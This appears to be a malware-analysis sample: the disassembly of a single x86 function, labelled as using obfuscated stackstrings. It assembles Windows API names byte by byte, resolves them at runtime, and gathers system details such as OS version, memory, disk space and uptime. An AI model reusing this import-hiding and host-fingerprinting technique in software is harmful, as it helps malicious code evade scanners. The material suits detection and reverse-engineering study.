Function at 0x401705
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x59c
and byte [ebp - 2], 0
and dword [ebp - 0x1dc], 0
and byte [ebp - 0x47], 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x54]
push edi
mov ebx, str.KERNEL32.dll
push eax
push ebx
mov byte [ebp - 4], 0x25
mov byte [ebp - 3], 0x64
mov byte [ebp - 0x2d4], 0x66
mov dword [ebp - 0x2d0], 0x9c
mov byte [ebp - 0x54], 0x47
mov byte [ebp - 0x53], 0x65
mov byte [ebp - 0x52], 0x74
mov byte [ebp - 0x51], 0x56
mov byte [ebp - 0x50], 0x65
mov byte [ebp - 0x4f], 0x72
mov byte [ebp - 0x4e], 0x73
mov byte [ebp - 0x4d], 0x69
mov byte [ebp - 0x4c], 0x6f
mov byte [ebp - 0x4b], 0x6e
mov byte [ebp - 0x4a], 0x45
mov byte [ebp - 0x49], 0x78
mov byte [ebp - 0x48], 0x41
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
lea ecx, [ebp - 0x2d0]
mov dword [ebp - 8], eax
push ecx
call eax
lea eax, [ebp - 0x59c]
push 0x100
push eax
push dword [ebp + 8]
call fcn.004012ae
push 0x10
lea eax, [ebp - 0xbc]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0xa4]
mov dword [ebp - 0xa4], 0x10
push eax
lea eax, [ebp - 0xbc]
push eax
mov eax, dword [ebp + 0xc]
push dword [eax + 0xa8]
call dword [0x42d078]
mov ecx, dword [0x42d2a8]
lea eax, [ebp - 0xb8]
push 4
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.0040d7d4
mov ecx, dword [0x42d2a8]
lea eax, [ebp - 0x59c]
push 0x32
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.0040d7d4
call fcn.00401058
mov dword [ebp - 0x234], eax
lea eax, [ebp - 0x370]
push eax
mov dword [ebp - 0x370], 0x9c
call dword [ebp - 8]
mov byte [ebp - 0x24], 0x77
mov byte [ebp - 0x23], 0x73
mov byte [ebp - 0x22], 0x70
mov byte [ebp - 0x21], 0x72
mov byte [ebp - 0x20], 0x69
mov byte [ebp - 0x1f], 0x6e
and byte [ebp - 0x1b], 0
lea eax, [ebp - 0x24]
push eax
push str.USER32.dll
mov byte [ebp - 0x1e], 0x74
mov byte [ebp - 0x1d], 0x66
mov byte [ebp - 0x1c], 0x41
call esi
push eax
call edi
and byte [ebp - 0x10], 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0x18]
mov byte [ebp - 0x18], 0x6c
push eax
push ebx
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x74
mov byte [ebp - 0x15], 0x72
mov byte [ebp - 0x14], 0x63
mov byte [ebp - 0x13], 0x70
mov byte [ebp - 0x12], 0x79
mov byte [ebp - 0x11], 0x41
call esi
push eax
call edi
cmp dword [ebp - 0x36c], 5
jne 0x4018c0
cmp dword [ebp - 0x368], 0
jne 0x4018c0
lea ecx, [ebp - 0x230]
push 0x426478
push ecx
call eax
jmp 0x4018e9
push str.GetSystemInfo
push ebx
call esi
push eax
call edi
lea ecx, [ebp - 0x94]
push ecx
call eax
push dword [ebp - 0x80]
lea eax, [ebp - 0x230]
push 0x426464
push eax
call dword [ebp - 8]
add esp, 0xc
and byte [ebp - 0x58], 0
lea eax, [ebp - 0x6c]
push eax
push ebx
mov dword [ebp - 0x10c], 0x40
mov byte [ebp - 0x6c], 0x47
mov byte [ebp - 0x6b], 0x6c
mov byte [ebp - 0x6a], 0x6f
mov byte [ebp - 0x69], 0x62
mov byte [ebp - 0x68], 0x61
mov byte [ebp - 0x67], 0x6c
mov byte [ebp - 0x66], 0x4d
mov byte [ebp - 0x65], 0x65
mov byte [ebp - 0x64], 0x6d
mov byte [ebp - 0x63], 0x6f
mov byte [ebp - 0x62], 0x72
mov byte [ebp - 0x61], 0x79
mov byte [ebp - 0x60], 0x53
mov byte [ebp - 0x5f], 0x74
mov byte [ebp - 0x5e], 0x61
mov byte [ebp - 0x5d], 0x74
mov byte [ebp - 0x5c], 0x75
mov byte [ebp - 0x5b], 0x73
mov byte [ebp - 0x5a], 0x45
mov byte [ebp - 0x59], 0x78
call esi
push eax
call edi
lea ecx, [ebp - 0x10c]
push ecx
call eax
mov eax, dword [ebp - 0x104]
and dword [ebp - 0x70], 0
shr eax, 0x14
and dword [ebp - 0xc], 0
mov dword [ebp - 0x1e4], eax
mov al, byte [ebp - 0xc]
and byte [ebp - 0x9d], 0
and byte [ebp - 0x37], 0
add al, 0x42
mov byte [ebp - 0xa0], al
lea eax, [ebp - 0x44]
push eax
push ebx
mov byte [ebp - 0x9f], 0x3a
mov byte [ebp - 0x9e], 0x5c
mov byte [ebp - 0x44], 0x47
mov byte [ebp - 0x43], 0x65
mov byte [ebp - 0x42], 0x74
mov byte [ebp - 0x41], 0x44
mov byte [ebp - 0x40], 0x72
mov byte [ebp - 0x3f], 0x69
mov byte [ebp - 0x3e], 0x76
mov byte [ebp - 0x3d], 0x65
mov byte [ebp - 0x3c], 0x54
mov byte [ebp - 0x3b], 0x79
mov byte [ebp - 0x3a], 0x70
mov byte [ebp - 0x39], 0x65
mov byte [ebp - 0x38], 0x41
call esi
push eax
call edi
lea ecx, [ebp - 0xa0]
push ecx
call eax
cmp eax, 3
jne 0x401a83
and byte [ebp - 0x71], 0
lea eax, [ebp - 0x84]
push eax
push ebx
mov byte [ebp - 0x84], 0x47
mov byte [ebp - 0x83], 0x65
mov byte [ebp - 0x82], 0x74
mov byte [ebp - 0x81], 0x44
mov byte [ebp - 0x80], 0x69
mov byte [ebp - 0x7f], 0x73
mov byte [ebp - 0x7e], 0x6b
mov byte [ebp - 0x7d], 0x46
mov byte [ebp - 0x7c], 0x72
mov byte [ebp - 0x7b], 0x65
mov byte [ebp - 0x7a], 0x65
mov byte [ebp - 0x79], 0x53
mov byte [ebp - 0x78], 0x70
mov byte [ebp - 0x77], 0x61
mov byte [ebp - 0x76], 0x63
mov byte [ebp - 0x75], 0x65
mov byte [ebp - 0x74], 0x45
mov byte [ebp - 0x73], 0x78
mov byte [ebp - 0x72], 0x41
call esi
push eax
call edi
lea ecx, [ebp - 0xcc]
push ecx
lea ecx, [ebp - 0xac]
push ecx
lea ecx, [ebp - 0xc4]
push ecx
lea ecx, [ebp - 0xa0]
push ecx
call eax
mov eax, dword [ebp - 0xac]
mov edx, dword [ebp - 0xa8]
push 0x14
pop ecx
call fcn.00420730
add dword [ebp - 0x70], eax
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0x1a
jl 0x401971
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x1e0], eax
call fcn.004011fd
mov dword [ebp - 0x1dc], eax
mov eax, dword [ebp + 0x10]
and byte [ebp - 0x28], 0
mov dword [ebp - 0x1d8], eax
lea eax, [ebp - 0x34]
mov byte [ebp - 0x34], 0x47
push eax
push ebx
mov byte [ebp - 0x33], 0x65
mov byte [ebp - 0x32], 0x74
mov byte [ebp - 0x31], 0x54
mov byte [ebp - 0x30], 0x69
mov byte [ebp - 0x2f], 0x63
mov byte [ebp - 0x2e], 0x6b
mov byte [ebp - 0x2d], 0x43
mov byte [ebp - 0x2c], 0x6f
mov byte [ebp - 0x2b], 0x75
mov byte [ebp - 0x2a], 0x6e
mov byte [ebp - 0x29], 0x74
call esi
push eax
call edi
call eax
mov esi, 0x5265c00
xor edx, edx
mov ecx, esi
mov edi, eax
div ecx
mov ebx, dword [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x438]
push eax
call ebx
mov eax, edi
xor edx, edx
div esi
mov esi, 0x36ee80
mov ecx, esi
mov edi, edx
xor edx, edx
mov eax, edi
div ecx
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x3d4]
push eax
call ebx
mov eax, edi
xor edx, edx
div esi
mov ecx, 0xea60
mov eax, edx
xor edx, edx
div ecx
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x49c]
push eax
call ebx
lea eax, [ebp - 0x49c]
push eax
lea eax, [ebp - 0x3d4]
push eax
lea eax, [ebp - 0x438]
push eax
lea eax, [ebp - 0x13e]
push 0x426454
push eax
call ebx
push dword [ebp + 0x14]
lea eax, [ebp - 0x1d4]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x40
lea eax, [ebp - 0x1a2]
push 0x32
push eax
push dword [ebp + 8]
call fcn.004015f2
lea eax, [ebp - 0x170]
push 0x32
push eax
push dword [ebp + 8]
call fcn.0040146f
mov ecx, dword [ebp + 0xc]
add esp, 0x18
lea eax, [ebp - 0x2d4]
push 0x1c8
push eax
call fcn.0041a693
pop edi
pop esi
pop ebx
leave
ret